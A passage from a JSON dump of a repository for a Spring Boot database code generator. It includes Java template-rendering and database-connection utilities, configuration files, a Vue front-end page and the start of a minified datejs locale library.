tableEntity.setComments(genConfig.getComments());\n        } else {\n            tableEntity.setComments(table.getStr(\"tableComment\"));\n        }\n\n        String tablePrefix;\n        if (StrUtil.isNotBlank(genConfig.getTablePrefix())) {\n            tablePrefix = genConfig.getTablePrefix();\n        } else {\n            tablePrefix = props.getStr(\"tablePrefix\");\n        }\n\n        //表名转换成Java类名\n        String className = tableToJava(tableEntity.getTableName(), tablePrefix);\n        tableEntity.setCaseClassName(className);\n        tableEntity.setLowerClassName(StrUtil.lowerFirst(className));\n\n        //列信息\n        List<ColumnEntity> columnList = Lists.newArrayList();\n        for (Entity column : columns) {\n            ColumnEntity columnEntity = new ColumnEntity();\n            columnEntity.setColumnName(column.getStr(\"columnName\"));\n            columnEntity.setDataType(column.getStr(\"dataType\"));\n            columnEntity.setComments(column.getStr(\"columnComment\"));\n            columnEntity.setExtra(column.getStr(\"extra\"));\n\n            //列名转换成Java属性名\n            String attrName = columnToJava(columnEntity.getColumnName());\n            columnEntity.setCaseAttrName(attrName);\n            columnEntity.setLowerAttrName(StrUtil.lowerFirst(attrName));\n\n            //列的数据类型，转换成Java类型\n            String attrType = props.getStr(columnEntity.getDataType(), \"unknownType\");\n            columnEntity.setAttrType(attrType);\n            if (!hasBigDecimal && \"BigDecimal\".equals(attrType)) {\n                hasBigDecimal = true;\n            }\n            //是否主键\n            if (\"PRI\".equalsIgnoreCase(column.getStr(\"columnKey\")) && tableEntity.getPk() == null) {\n                tableEntity.setPk(columnEntity);\n            }\n\n            columnList.add(columnEntity);\n        }\n        tableEntity.setColumns(columnList);\n\n        //没主键，则第一个字段为主键\n        if (tableEntity.getPk() == null) {\n            tableEntity.setPk(tableEntity.getColumns().get(0));\n        }\n\n        //设置velocity资源加载器\n        Properties prop = new Properties();\n        prop.put(\"file.resource.loader.class\", \"org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader\");\n        Velocity.init(prop);\n        //封装模板数据\n        Map<String, Object> map = new HashMap<>(16);\n        map.put(\"tableName\", tableEntity.getTableName());\n        map.put(\"pk\", tableEntity.getPk());\n        map.put(\"className\", tableEntity.getCaseClassName());\n        map.put(\"classname\", tableEntity.getLowerClassName());\n        map.put(\"pathName\", tableEntity.getLowerClassName().toLowerCase());\n        map.put(\"columns\", tableEntity.getColumns());\n        map.put(\"hasBigDecimal\", hasBigDecimal);\n        map.put(\"datetime\", DateUtil.now());\n        map.put(\"year\", DateUtil.year(new Date()));\n\n        if (StrUtil.isNotBlank(genConfig.getComments())) {\n            map.put(\"comments\", genConfig.getComments());\n        } else {\n            map.put(\"comments\", tableEntity.getComments());\n        }\n\n        if (StrUtil.isNotBlank(genConfig.getAuthor())) {\n            map.put(\"author\", genConfig.getAuthor());\n        } else {\n            map.put(\"author\", props.getStr(\"author\"));\n        }\n\n        if (StrUtil.isNotBlank(genConfig.getModuleName())) {\n            map.put(\"moduleName\", genConfig.getModuleName());\n        } else {\n            map.put(\"moduleName\", props.getStr(\"moduleName\"));\n        }\n\n        if (StrUtil.isNotBlank(genConfig.getPackageName())) {\n            map.put(\"package\", genConfig.getPackageName());\n            map.put(\"mainPath\", genConfig.getPackageName());\n        } else {\n            map.put(\"package\", props.getStr(\"package\"));\n            map.put(\"mainPath\", props.getStr(\"mainPath\"));\n        }\n        VelocityContext context = new VelocityContext(map);\n\n        //获取模板列表\n        List<String> templates = getTemplates();\n        for (String template : templates) {\n            //渲染模板\n            StringWriter sw = new StringWriter();\n            Template tpl = Velocity.getTemplate(template, CharsetUtil.UTF_8);\n            tpl.merge(context, sw);\n\n            try {\n                //添加到zip\n                zip.putNextEntry(new ZipEntry(Objects.requireNonNull(getFileName(template, tableEntity.getCaseClassName(), map\n                        .get(\"package\")\n                        .toString(), map.get(\"moduleName\").toString()))));\n                IoUtil.write(zip, StandardCharsets.UTF_8, false, sw.toString());\n                IoUtil.close(sw);\n                zip.closeEntry();\n            } catch (IOException e) {\n                throw new RuntimeException(\"渲染模板失败，表名：\" + tableEntity.getTableName(), e);\n            }\n        }\n    }\n\n\n    /**\n     * 列名转换成Java属性名\n     */\n    private String columnToJava(String columnName) {\n        return WordUtils.capitalizeFully(columnName, new char[]{'_'}).replace(\"_\", \"\");\n    }\n\n    /**\n     * 表名转换成Java类名\n     */\n    private String tableToJava(String tableName, String tablePrefix) {\n        if (StrUtil.isNotBlank(tablePrefix)) {\n            tableName = tableName.replaceFirst(tablePrefix, \"\");\n        }\n        return columnToJava(tableName);\n    }\n\n    /**\n     * 获取配置信息\n     */\n    private Props getConfig() {\n        Props props = new Props(\"generator.properties\");\n        props.autoLoad(true);\n        return props;\n    }\n\n    /**\n     * 获取文件名\n     */\n    private String getFileName(String template, String className, String packageName, String moduleName) {\n        // 包路径\n        String packagePath = GenConstants.SIGNATURE + File.separator + \"src\" + File.separator + \"main\" + File.separator + \"java\" + File.separator;\n        // 资源路径\n        String resourcePath = GenConstants.SIGNATURE + File.separator + \"src\" + File.separator + \"main\" + File.separator + \"resources\" + File.separator;\n        // api路径\n        String apiPath = GenConstants.SIGNATURE + File.separator + \"api\" + File.separator;\n\n        if (StrUtil.isNotBlank(packageName)) {\n            packagePath += packageName.replace(\".\", File.separator) + File.separator + moduleName + File.separator;\n        }\n\n        if (template.contains(ENTITY_JAVA_VM)) {\n            return packagePath + \"entity\" + File.separator + className + \".java\";\n        }\n\n        if (template.contains(MAPPER_JAVA_VM)) {\n            return packagePath + \"mapper\" + File.separator + className + \"Mapper.java\";\n        }\n\n        if (template.contains(SERVICE_JAVA_VM)) {\n            return packagePath + \"service\" + File.separator + className + \"Service.java\";\n        }\n\n        if (template.contains(SERVICE_IMPL_JAVA_VM)) {\n            return packagePath + \"service\" + File.separator + \"impl\" + File.separator + className + \"ServiceImpl.java\";\n        }\n\n        if (template.contains(CONTROLLER_JAVA_VM)) {\n            return packagePath + \"controller\" + File.separator + className + \"Controller.java\";\n        }\n\n        if (template.contains(MAPPER_XML_VM)) {\n            return resourcePath + \"mapper\" + File.separator + className + \"Mapper.xml\";\n        }\n\n        if (template.contains(API_JS_VM)) {\n            return apiPath + className.toLowerCase() + \".js\";\n        }\n\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/utils/DbUtil.java",
    "content": "package com.jun.plugin.codegen.utils;\n\nimport com.jun.plugin.codegen.entity.TableRequest;\nimport com.zaxxer.hikari.HikariDataSource;\nimport lombok.experimental.UtilityClass;\nimport lombok.extern.slf4j.Slf4j;\n\n/**\n * <p>\n * 数据库工具类\n * </p>\n *\n * @package: com.xkcoding.codegen.utils\n * @description: 数据库工具类\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 10:26\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\n@UtilityClass\npublic class DbUtil {\n    public HikariDataSource buildFromTableRequest(TableRequest request) {\n        HikariDataSource dataSource = new HikariDataSource();\n        dataSource.setJdbcUrl(request.getPrepend() + request.getUrl());\n        dataSource.setUsername(request.getUsername());\n        dataSource.setPassword(request.getPassword());\n        return dataSource;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/resources/generator.properties",
    "content": "#\\u4EE3\\u7801\\u751F\\u6210\\u5668\\uFF0C\\u914D\\u7F6E\\u4FE1\\u606F\nmainPath=com.jun.plugin\n#\\u5305\\u540D\npackage=com.jun.plugin\nmoduleName=generator\n#\\u4F5C\\u8005\nauthor=Yangkai.Shen\n#\\u8868\\u524D\\u7F00(\\u7C7B\\u540D\\u4E0D\\u4F1A\\u5305\\u542B\\u8868\\u524D\\u7F00)\ntablePrefix=tb_\n#\\u7C7B\\u578B\\u8F6C\\u6362\\uFF0C\\u914D\\u7F6E\\u4FE1\\u606F\ntinyint=Integer\nsmallint=Integer\nmediumint=Integer\nint=Integer\ninteger=Integer\nbigint=Long\nfloat=Float\ndouble=Double\ndecimal=BigDecimal\nbit=Boolean\nchar=String\nvarchar=String\ntinytext=String\ntext=String\nmediumtext=String\nlongtext=String\ndate=LocalDateTime\ndatetime=LocalDateTime\ntimestamp=LocalDateTime\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/resources/static/index.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"utf-8\">\n    <title>代码生成器</title>\n    <!-- import Vue.js -->\n    <script src=\"libs/vue/vue.min.js\"></script>\n    <!-- import stylesheet -->\n    <link rel=\"stylesheet\" href=\"libs/iview/iview.css\">\n    <!-- import iView -->\n    <script src=\"libs/iview/iview.min.js\"></script>\n    <!-- import axios -->\n    <script src=\"libs/axios/axios.min.js\"></script>\n    <!-- import date -->\n    <script src=\"libs/datejs/date-zh-CN.js\"></script>\n    <style>\n        html, body {\n            height: 100%;\n        }\n\n        #app {\n            height: inherit;\n        }\n\n        .xkcoding-layout {\n            height: inherit;\n        }\n\n        .layout-header-center {\n            text-align: center;\n        }\n\n        .layout-footer-center {\n            color: #999999;\n            text-align: center;\n        }\n    </style>\n</head>\n<body>\n<div id=\"app\">\n    <Layout class=\"xkcoding-layout\">\n        <Header class=\"layout-header-center\">\n            <h1>代码生成</h1>\n        </Header>\n        <Content :style=\"{padding: '0 50px'}\">\n            <Card>\n                <Row :gutter=\"16\">\n                    <i-form ref=\"formTableRequest\" :model=\"tableRequest\" label-position=\"right\" label-width=\"50\"\n                            :rules=\"tableRequestValidate\">\n                        <i-col span=\"9\">\n                            <form-item label=\"URL\" prop=\"url\" required>\n                                <i-input v-model=\"tableRequest.url\" placeholder=\"<host>:<port>/<dbName>\">\n                                    <i-select v-model=\"tableRequest.prepend\" slot=\"prepend\" style=\"width: 150px;\">\n                                        <i-option :value=\"mysqlPrepend\">{{mysqlPrepend}}</i-option>\n                                        <i-option :value=\"oraclePrepend\">{{oraclePrepend}}</i-option>\n                                        <i-option :value=\"mssqlPrepend\">{{mssqlPrepend}}</i-option>\n                                    </i-select>\n                                </i-input>\n                            </form-item>\n                        </i-col>\n                        <i-col span=\"4\">\n                            <form-item label=\"用户名\" prop=\"username\" label-width=\"60\" required>\n                                <i-input v-model=\"tableRequest.username\" placeholder=\"请输入数据库用户名\"></i-input>\n                            </form-item>\n                        </i-col>\n                        <i-col span=\"4\">\n                            <form-item label=\"密码\" prop=\"password\" required>\n                                <i-input v-model=\"tableRequest.password\" type=\"password\"\n                                         placeholder=\"请输入数据库密码\"></i-input>\n                            </form-item>\n                        </i-col>\n                        <i-col span=\"5\">\n                            <form-item label=\"表名\" prop=\"tableName\" label-width=\"40\">\n                                <i-input v-model=\"tableRequest.tableName\" placeholder=\"请输入数据库表名\"></i-input>\n                            </form-item>\n                        </i-col>\n\n                        <i-col span=\"2\" style=\"text-align: center\">\n                            <i-button type=\"primary\" long icon=\"ios-search\" @click=\"search('formTableRequest')\">查询\n                            </i-button>\n                        </i-col>\n                    </i-form>\n                </Row>\n                <br>\n                <Row>\n                    <i-col>\n                        <i-table border :columns=\"columns\" :data=\"data\">\n                            <template slot-scope=\"{ row }\" slot=\"tableName\">\n                                <strong>{{ row.tableName }}</strong>\n                            </template>\n                            <template slot-scope=\"{ row }\" slot=\"action\">\n                                <i-button type=\"primary\" icon=\"md-code-download\" @click=\"showConfig(row.tableName)\">生成代码\n                                </i-button>\n                            </template>\n                        </i-table>\n                    </i-col>\n                </Row>\n                <br>\n                <Row>\n                    <i-col>\n                        <Page :total=\"total\"\n                              :current.sync=\"tableRequest.currentPage\"\n                              @on-change=\"changePage\"\n                              @on-page-size-change=\"changePageSize\"\n                              show-sizer\n                              show-elevator\n                              show-total\n                              :page-size-opts=\"[10, 20, 30]\"></Page>\n                    </i-col>\n                </Row>\n            </Card>\n        </Content>\n        <Footer class=\"layout-footer-center\">2019 &copy; xkcoding</Footer>\n    </Layout>\n\n    <Modal v-model=\"showConfigDialog\"\n           :closable=\"false\">\n        <div slot=\"header\" style=\"text-align:center\">\n            <h2>生成配置</h2>\n        </div>\n        <i-form ref=\"form\" :model=\"genConfig\">\n            <Row :gutter=\"16\">\n                <i-col span=\"12\">\n                    <form-item label=\"表名\" prop=\"tableName\" label-width=\"40\">\n                        <i-input v-model=\"genConfig.tableName\" disabled></i-input>\n                    </form-item>\n                </i-col>\n                <i-col span=\"12\">\n                    <form-item label=\"包名\" prop=\"packageName\" label-width=\"40\">\n                        <i-input v-model=\"genConfig.packageName\" placeholder=\"可为空，加载系统默认配置\"></i-input>\n                    </form-item>\n                </i-col>\n            </Row>\n            <Row :gutter=\"16\">\n                <i-col span=\"12\">\n                    <form-item label=\"作者\" prop=\"author\" label-width=\"40\">\n                        <i-input v-model=\"genConfig.author\" placeholder=\"可为空，加载系统默认配置\"></i-input>\n                    </form-item>\n                </i-col>\n                <i-col span=\"12\">\n                    <form-item label=\"模块\" prop=\"moduleName\" label-width=\"40\">\n                        <i-input v-model=\"genConfig.moduleName\" placeholder=\"可为空，加载系统默认配置\"></i-input>\n                    </form-item>\n                </i-col>\n            </Row>\n            <Row :gutter=\"16\">\n                <i-col span=\"12\">\n                    <form-item label=\"前缀\" prop=\"tablePrefix\" label-width=\"40\">\n                        <i-input v-model=\"genConfig.tablePrefix\" placeholder=\"可为空，加载系统默认配置\"></i-input>\n                    </form-item>\n                </i-col>\n                <i-col span=\"12\">\n                    <form-item label=\"注释\" prop=\"comments\" label-width=\"40\">\n                        <i-input v-model=\"genConfig.comments\" placeholder=\"可为空，加载数据库表注释\"></i-input>\n                    </form-item>\n                </i-col>\n            </Row>\n        </i-form>\n        <div slot=\"footer\" style=\"text-align:center\">\n            <i-button icon=\"md-trash\" size=\"large\" @click=\"cancel\">取消</i-button>\n            <i-button type=\"success\" icon=\"md-cloud-download\" size=\"large\" @click=\"download\">生成代码</i-button>\n        </div>\n    </Modal>\n</div>\n<script>\n  const http = axios.create({\n    baseURL: '/demo'\n  });\n\n  const MYSQL_PREPEND = \"jdbc:mysql://\";\n  const MSSQL_PREPEND = \"jdbc:jtds:sqlserver://\";\n  const ORACLE_PREPEND = \"jdbc:oracle:thin:@//\";\n\n  new Vue({\n    el: \"#app\",\n    data: {\n      showConfigDialog: false,\n      genConfig: {\n        request: {\n          prepend: \"\",\n          url: \"\",\n          username: \"\",\n          password: \"\",\n          tableName: \"\"\n        },\n        packageName: \"\",\n        author: \"\",\n        moduleName: \"\",\n        tablePrefix: \"\",\n        comments: \"\",\n        tableName: \"\"\n      },\n      tableRequest: {\n        currentPage: 1,\n        pageSize: 10,\n        prepend: \"\",\n        url: \"\",\n        username: \"\",\n        password: \"\",\n        tableName: \"\"\n      },\n      total: 0,\n      tableRequestValidate: {\n        url: [\n          {required: true, message: 'JDBC连接串不能为空', trigger: 'blur'}\n        ],\n        username: [\n          {required: true, message: '用户名不能为空', trigger: 'blur'}\n        ],\n        password: [\n          {required: true, message: '密码不能为空', trigger: 'blur'}\n        ]\n      },\n      columns: [\n        {\n          title: '序号',\n          type: 'index',\n          align: 'center',\n          width: 80\n        },\n        {\n          title: '表名',\n          slot: 'tableName',\n          align: 'center'\n        },\n        {\n          title: '注释',\n          key: 'tableComment',\n          align: 'center'\n        },\n        {\n          title: '索引',\n          key: 'engine',\n          align: 'center'\n        },\n        {\n          title: '创建时间',\n          key: 'createTime',\n          align: 'center',\n          render: (h, params) => {\n            return h('div', Date.parse(params.row.createTime.substring(0, params.row.createTime.indexOf(\".\"))).toString('yyyy-MM-dd HH:mm:ss'));\n          }\n        },\n        {\n          title: '操作',\n          slot: 'action',\n          width: 150,\n          align: 'center'\n        }\n      ],\n      data: []\n    },\n    computed: {\n      mysqlPrepend() {\n        return MYSQL_PREPEND;\n      },\n      oraclePrepend() {\n        return ORACLE_PREPEND;\n\n      },\n      mssqlPrepend() {\n        return MSSQL_PREPEND;\n      }\n    },\n    methods: {\n      showConfig(tableName) {\n        this.genConfig.tableName = tableName;\n        this.genConfig.request.tableName = tableName;\n        this.genConfig.request.url = this.tableRequest.url;\n        this.genConfig.request.prepend = this.tableRequest.prepend;\n        this.genConfig.request.username = this.tableRequest.username;\n        this.genConfig.request.password = this.tableRequest.password;\n        this.showConfigDialog = true;\n      },\n      changePage(currentPage) {\n        this.tableRequest.currentPage = currentPage;\n        this.search(\"formTableRequest\");\n      },\n      changePageSize(pageSize) {\n        this.tableRequest.pageSize = pageSize;\n        this.search(\"formTableRequest\");\n      },\n      search(name) {\n        this.$refs[name].validate((valid) => {\n          if (this.tableRequest.prepend === \"\") {\n            this.$Message.error(\"请选择jdbc-url前缀\");\n            return\n          }\n          if (this.tableRequest.prepend !== \"jdbc:mysql://\") {\n            this.$Message.error(\"暂时只支持 mysql 类型\");\n            return\n          }\n          if (valid) {\n            http.get('/generator/table', {\n                params: this.tableRequest\n              })\n              .then(response => {\n                const data = response.data;\n                if (data.code === 200 && data.status) {\n                  this.data = data.data.list;\n                  this.total = data.data.total;\n                }\n              })\n              .catch(() => this.$Message.error(\"查询失败\"));\n          } else {\n            this.$Message.error(\"请填写查询参数\");\n          }\n        });\n      },\n      download() {\n        http({\n          url: '/generator',\n          method: 'post',\n          data: this.genConfig,\n          responseType: 'arraybuffer'\n        }).then((response) => { // 处理返回的文件流\n          let blob = new Blob([response.data], {type: 'application/zip'});\n          let filename = this.genConfig.tableName + '.zip';\n          let link = document.createElement('a');\n          link.href = URL.createObjectURL(blob);\n          link.download = filename;\n          document.body.appendChild(link);\n          link.click();\n          window.setTimeout(function () {\n            URL.revokeObjectURL(blob);\n            document.body.removeChild(link);\n          }, 0)\n        }).catch(() => this.$Message.error(\"代码生成失败\"));\n      },\n      cancel() {\n        this.showConfigDialog = false;\n      }\n    }\n  })\n</script>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/resources/static/libs/datejs/date-zh-CN.js",
    "content": "/**\n * @version: 1.0 Alpha-1\n * @author: Coolite Inc. http://www.coolite.com/\n * @date: 2008-05-13\n * @copyright: Copyright (c) 2006-2008, Coolite Inc. (http://www.coolite.com/). All rights reserved.\n * @license: Licensed under The MIT License. See license.txt and http://www.datejs.com/license/. \n * @website: http://www.datejs.com/\n */\nDate.CultureInfo={name:\"zh-CN\",englishName:\"Chinese (People's Republic of China)\",nativeName:\"中文(中华人民共和国)\",dayNames:[\"星期日\",\"星期一\",\"星期二\",\"星期三\",\"星期四\",\"星期五\",\"星期六\"],abbreviatedDayNames:[\"日\",\"一\",\"二\",\"三\",\"四\",\"五\",\"六\"],shortestDayNames:[\"日\",\"一\",\"二\",\"三\",\"四\",\"五\",\"六\"],firstLetterDayNames:[\"日\",\"一\",\"二\",\"三\",\"四\",\"五\",\"六\"],monthNames:[\"一月\",\"二月\",\"三月\",\"四月\",\"五月\",\"六月\",\"七月\",\"八月\",\"九月\",\"十月\",\"十一月\",\"十二月\"],abbreviatedMonthNames:[\"一月\",\"二月\",\"三月\",\"四月\",\"五月\",\"六月\",\"七月\",\"八月\",\"九月\",\"十月\",\"十一月\",\"十二月\"],amDesignator:\"上午\",pmDesignator:\"下午\",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:\"ymd\",formatPatterns:{shortDate:\"yyyy/M/d\",longDate:\"yyyy'年'M'月'd'日'\",shortTime:\"H:mm\",longTime:\"H:mm:ss\",fullDateTime:\"yyyy'年'M'月'd'日' H:mm:ss\",sortableDateTime:\"yyyy-MM-ddTHH:mm:ss\",universalSortableDateTime:\"yyyy-MM-dd HH:mm:ssZ\",rfc1123:\"ddd, dd MMM yyyy HH:mm:ss GMT\",monthDay:\"M'月'd'日'\",yearMonth:\"yyyy'年'M'月'\"},regexPatterns:{jan:/^一月/i,feb:/^二月/i,mar:/^三月/i,apr:/^四月/i,may:/^五月/i,jun:/^六月/i,jul:/^七月/i,aug:/^八月/i,sep:/^九月/i,oct:/^十月/i,nov:/^十一月/i,dec:/^十二月/i,sun:/^星期日/i,mon:/^星期一/i,tue:/^星期二/i,wed:/^星期三/i,thu:/^星期四/i,fri:/^星期五/i,sat:/^星期六/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|aft(er)?|from|hence)/i,subtract:/^(\\-|bef(ore)?|ago)/i,yesterday:/^yes(terday)?/i,today:/^t(od(ay)?)?/i,tomorrow:/^tom(orrow)?/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^mn|min(ute)?s?/i,hour:/^h(our)?s?/i,week:/^w(eek)?s?/i,month:/^m(onth)?s?/i,day:/^d(ay)?s?/i,year:/^y(ear)?s?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt|utc)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a(?!u|p)|p)/i},timezones:[{name:\"UTC\",offset:\"-000\"},{name:\"GMT\",offset:\"-000\"},{name:\"EST\",offset:\"-0500\"},{name:\"EDT\",offset:\"-0400\"},{name:\"CST\",offset:\"-0600\"},{name:\"CDT\",offset:\"-0500\"},{name:\"MST\",offset:\"-0700\"},{name:\"MDT\",offset:\"-0600\"},{name:\"PST\",offset:\"-0800\"},{name:\"PDT\",offset:\"-0700\"}]};\n(function(){var $D=Date,$P=$D.prototype,$C=$D.CultureInfo,p=function(s,l){if(!l){l=2;}\nreturn(\"000\"+s).slice(l*-1);};$P.clearTime=function(){this.setHours(0);this.setMinutes(0);this.setSeconds(0);this.setMilliseconds(0);return this;};$P.setTimeToNow=function(){var n=new Date();this.setHours(n.getHours());this.setMinutes(n.getMinutes());this.setSeconds(n.getSeconds());this.setMilliseconds(n.getMilliseconds());return this;};$D.today=function(){return new Date().clearTime();};$D.compare=function(date1,date2){if(isNaN(date1)||isNaN(date2)){throw new Error(date1+\" - \"+date2);}else if(date1 instanceof Date&&date2 instanceof Date){return(date1<date2)?-1:(date1>date2)?1:0;}else{throw new TypeError(date1+\" - \"+date2);}};$D.equals=function(date1,date2){return(date1.compareTo(date2)===0);};$D.getDayNumberFromName=function(name){var n=$C.dayNames,m=$C.abbreviatedDayNames,o=$C.shortestDayNames,s=name.toLowerCase();for(var i=0;i<n.length;i++){if(n[i].toLowerCase()==s||m[i].toLowerCase()==s||o[i].toLowerCase()==s){return i;}}\nreturn-1;};$D.getMonthNumberFromName=function(name){var n=$C.monthNames,m=$C.abbreviatedMonthNames,s=name.toLowerCase();for(var i=0;i<n.length;i++){if(n[i].toLowerCase()==s||m[i].toLowerCase()==s){return i;}}\nreturn-1;};$D.isLeapYear=function(year){return((year%4===0&&year%100!==0)||year%400===0);};$D.getDaysInMonth=function(year,month){return[31,($D.isLeapYear(year)?29:28),31,30,31,30,31,31,30,31,30,31][month];};$D.getTimezoneAbbreviation=function(offset){var z=$C.timezones,p;for(var i=0;i<z.length;i++){if(z[i].offset===offset){return z[i].name;}}\nreturn null;};$D.getTimezoneOffset=function(name){var z=$C.timezones,p;for(var i=0;i<z.length;i++){if(z[i].name===name.toUpperCase()){return z[i].offset;}}\nreturn null;};$P.clone=function(){return new Date(this.getTime());};$P.compareTo=function(date){return Date.compare(this,date);};$P.equals=function(date){return Date.equals(this,date||new Date());};$P.between=function(start,end){return this.getTime()>=start.getTime()&&this.getTime()<=end.getTime();};$P.isAfter=function(date){return this.compareTo(date||new Date())===1;};$P.isBefore=function(date){return(this.compareTo(date||new Date())===-1);};$P.isToday=function(){return this.isSameDay(new Date());};$P.isSameDay=function(date){return this.clone().clearTime().equals(date.clone().clearTime());};$P.addMilliseconds=function(value){this.setMilliseconds(this.getMilliseconds()+value);return this;};$P.addSeconds=function(value){return this.addMilliseconds(value*1000);};$P.addMinutes=function(value){return this.addMilliseconds(value*60000);};$P.addHours=function(value){return this.addMilliseconds(value*3600000);};$P.addDays=function(value){this.setDate(this.getDate()+value);return this;};$P.addWeeks=function(value){return this.addDays(value*7);};$P.addMonths=function(value){var n=this.getDate();this.setDate(1);this.setMonth(this.getMonth()+value);this.setDate(Math.min(n,$D.getDaysInMonth(this.getFullYear(),this.getMonth())));return this;};$P.addYears=function(value){return this.addMonths(value*12);};$P.add=function(config){if(typeof config==\"number\"){this._orient=config;return this;}\nvar x=config;if(x.milliseconds){this.addMilliseconds(x.milliseconds);}\nif(x.seconds){this.addSeconds(x.seconds);}\nif(x.minutes){this.addMinutes(x.minutes);}\nif(x.hours){this.addHours(x.hours);}\nif(x.weeks){this.addWeeks(x.weeks);}\nif(x.months){this.addMonths(x.months);}\nif(x.years){this.addYears(x.years);}\nif(x.days){this.addDays(x.days);}\nreturn this;};var $y,$m,$d;$P.getWeek=function(){var a,b,c,d,e,f,g,n,s,w;$y=(!$y)?this.getFullYear():$y;$m=(!$m)?this.getMonth()+1:$m;$d=(!$d)?this.getDate():$d;if($m<=2){a=$y-1;b=(a/4|0)-(a/100|0)+(a/400|0);c=((a-1)/4|0)-((a-1)/100|0)+((a-1)/400|0);s=b-c;e=0;f=$d-1+(31*($m-1));}else{a=$y;b=(a/4|0)-(a/100|0)+(a/400|0);c=((a-1)/4|0)-((a-1)/100|0)+((a-1)/400|0);s=b-c;e=s+1;f=$d+((153*($m-3)+2)/5)+58+s;}\ng=(a+b)%7;d=(f+g-e)%7;n=(f+3-d)|0;if(n<0){w=53-((g-s)/5|0);}else if(n>364+s){w=1;}else{w=(n/7|0)+1;}\n$y=$m=$d=null;return w;};$P.getISOWeek=function(){$y=this.getUTCFullYear();$m=this.getUTCMonth()+1;$d=this.getUTCDate();return p(this.getWeek());};$P.setWeek=function(n){return this.moveToDayOfWeek(1).addWeeks(n-this.getWeek());};$D._validate=function(n,min,max,name){if(typeof n==\"undefined\"){return false;}else if(typeof n!=\"number\"){throw new TypeError(n+\" is not a Number.\");}else if(n<min||n>max){throw new RangeError(n+\" is not a valid value for \"+name+\".\");}\nreturn true;};$D.validateMillisecond=function(value){return $D._validate(value,0,999,\"millisecond\");};$D.validateSecond=function(value){return $D._validate(value,0,59,\"second\");};$D.validateMinute=function(value){return $D._validate(value,0,59,\"minute\");};$D.validateHour=function(value){return $D._validate(value,0,23,\"hour\");};$D.validateDay=function(value,year,month){return $D._validate(value,1,$D.getDaysInMonth(year,month),\"day\");};$D.validateMonth=function(value){return $D._validate(value,0,11,\"month\");};$D.validateYear=function(value){return $D._validate(value,0,9999,\"year\");};$P.set=function(config){if($D.validateMillisecond(config.millisecond)){this.addMilliseconds(config.millisecond-this.getMilliseconds());}\nif($D.validateSecond(config.second)){this.addSeconds(config.second-this.getSeconds());}\nif($D.validateMinute(config.minute)){this.addMinutes(config.minute-this.getMinutes());}\nif($D.validateHour(config.hour)){this.addHours(config.hour-this.getHours());}\nif($D.validateMonth(config.month)){this.addMonths(config.month-this.getMonth());}\nif($D.validateYear(config.year)){this.addYears(config.year-this.getFullYear());}\nif($D.validateDay(config.day,this.getFullYear(),this.getMonth())){this.addDays(config.day-this.getDate());}\nif(config.timezone){this.setTimezone(config.timezone);}\nif(config.timezoneOffset){this.setTimezoneOffset(config.timezoneOffset);}\nif(config.week&&$D._validate(config.week,0,53,\"week\")){this.setWeek(config.week);}\nreturn this;};$P.moveToFirstDayOfMonth=function(){return this.set({day:1});};$P.moveToLastDayOfMonth=function(){return this.set({day:$D.getDaysInMonth(this.getFullYear(),this.getMonth())});};$P.moveToNthOccurrence=function(dayOfWeek,occurrence){var shift=0;if(occurrence>0){shift=occurrence-1;}\nelse if(occurrence===-1){this.moveToLastDayOfMonth();if(this.getDay()!==dayOfWeek){this.moveToDayOfWeek(dayOfWeek,-1);}\nreturn this;}\nreturn this.moveToFirstDayOfMonth().addDays(-1).moveToDayOfWeek(dayOfWeek,+1).addWeeks(shift);};$P.moveToDayOfWeek=function(dayOfWeek,orient){var diff=(dayOfWeek-this.getDay()+7*(orient||+1))%7;return this.addDays((diff===0)?diff+=7*(orient||+1):diff);};$P.moveToMonth=function(month,orient){var diff=(month-this.getMonth()+12*(orient||+1))%12;return this.addMonths((diff===0)?diff+=12*(orient||+1):diff);};$P.getOrdinalNumber=function(){return Math.ceil((this.clone().clearTime()-new Date(this.getFullYear(),0,1))/86400000)+1;};$P.getTimezone=function(){return $D.getTimezoneAbbreviation(this.getUTCOffset());};$P.setTimezoneOffset=function(offset){var here=this.getTimezoneOffset(),there=Number(offset)*-6/10;return this.addMinutes(there-here);};$P.setTimezone=function(offset){return this.setTimezoneOffset($D.getTimezoneOffset(offset));};$P.hasDaylightSavingTime=function(){return(Date.today().set({month:0,day:1}).getTimezoneOffset()!==Date.today().set({month:6,day:1}).getTimezoneOffset());};$P.isDaylightSavingTime=function(){return(this.hasDaylightSavingTime()&&new Date().getTimezoneOffset()===Date.today().set({month:6,day:1}).getTimezoneOffset());};$P.getUTCOffset=function(){var n=this.getTimezoneOffset()*-10/6,r;if(n<0){r=(n-10000).toString();return r.charAt(0)+r.substr(2);}else{r=(n+10000).toString();return\"+\"+r.substr(1);}};$P.getElapsed=function(date){return(date||new Date())-this;};if(!$P.toISOString){$P.toISOString=function(){function f(n){return n<10?'0'+n:n;}\nreturn'\"'+this.getUTCFullYear()+'-'+\nf(this.getUTCMonth()+1)+'-'+\nf(this.getUTCDate())+'T'+\nf(this.getUTCHours())+':'+\nf(this.getUTCMinutes())+':'+\nf(this.getUTCSeconds())+'Z\"';};}\n$P._toString=$P.toString;$P.toString=function(format){var x=this;if(format&&format.length==1){var c=$C.formatPatterns;x.t=x.toString;switch(format){case\"d\":return 